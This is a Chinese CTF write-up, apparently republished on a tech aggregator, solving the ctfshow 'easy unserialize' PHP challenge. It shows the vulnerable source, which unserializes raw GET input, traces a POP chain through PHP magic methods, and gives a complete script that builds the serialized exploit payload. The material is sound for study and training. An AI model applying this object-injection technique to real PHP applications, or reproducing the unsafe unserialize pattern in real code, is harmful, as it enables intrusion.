IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow卷王杯——easy unserialize -> 正文阅读

[PHP知识库]ctfshow卷王杯——easy unserialize

题目源码

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();//$a3[MeMeMe]()
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

这里主要是讲一下在构造pop链里的一些问题,除此之外还要用到GC回收机制,在大佬的博客里已经讲的很清楚了,这里我就不在班门弄斧了,直接上传送门传送门

构造pop链

首先过一下每个类的函数,推测一下作用;

/**
 * class one:    public $object
 * MeMeMe():echo $flag  ->读flag
 * __destruct():$this->object->add() ->调用一个不存在的方法触发call()
 *  __toString():$this->object->string -> 读取不可访问属性触发get()
 *
 * class second:    protected $filename
 * addMe():"Wow you have sovled".$this->filename ->触发toString()
 *  __call($func, $args): call_user_func([$this, $func."Me"], $args) ->调用addMe()
 *
 * class third:  private $string
 * __construct($string):$this->string = $string
 * __get($name):$var = $this->$name;   $var[$name]() ->调用one:MeMeMe()
 *
 *构造的链子:
 * one:destruct()->second:call()->second:addMe()->one:toString()->third:get()->one:MeMeMe();
 */

触发one:destruct()->second:call()

$a=new one();
$c=new second();
$a->object=$c;

触发second:addMe()->one:toString()

$b=new one();
$c->filename=$b;

触发third:get()->one:MeMeMe()

$d=new third();
$b->object=$d;

触发GC回收机制

$n=null;
$payload=array($a,$n);

完整pop链

<?php
highlight_file(__FILE__);
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");
}

class second {
    public $filename;
}

class third {
    private $string;
    public function __construct()
    {
        $this->string=array("string"=>[new one(),"MeMeMe"]);
    }
}

//实现one:destruct()->second:call()
$a=new one();
$c=new second();
$a->object=$c;
//实现second:addMe()->one:toString()
$b=new one();
$c->filename=$b;
//实现third:get()->one:MeMeMe();
$d=new third();
$b->object=$d;

//触发GC回收机制
$n=null;
$payload=array($a,$n);
//var_dump($payload);
echo urlencode(serialize($payload));

当然最后对序列化后字符串的处理以及通过get()如何调用到one:MeMeMe()的方法在前面我给的大佬的博客里已经说的很清楚了,这里也不做过多的解释了。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-16 22:03:36  更:2022-03-16 22:03:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:36:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计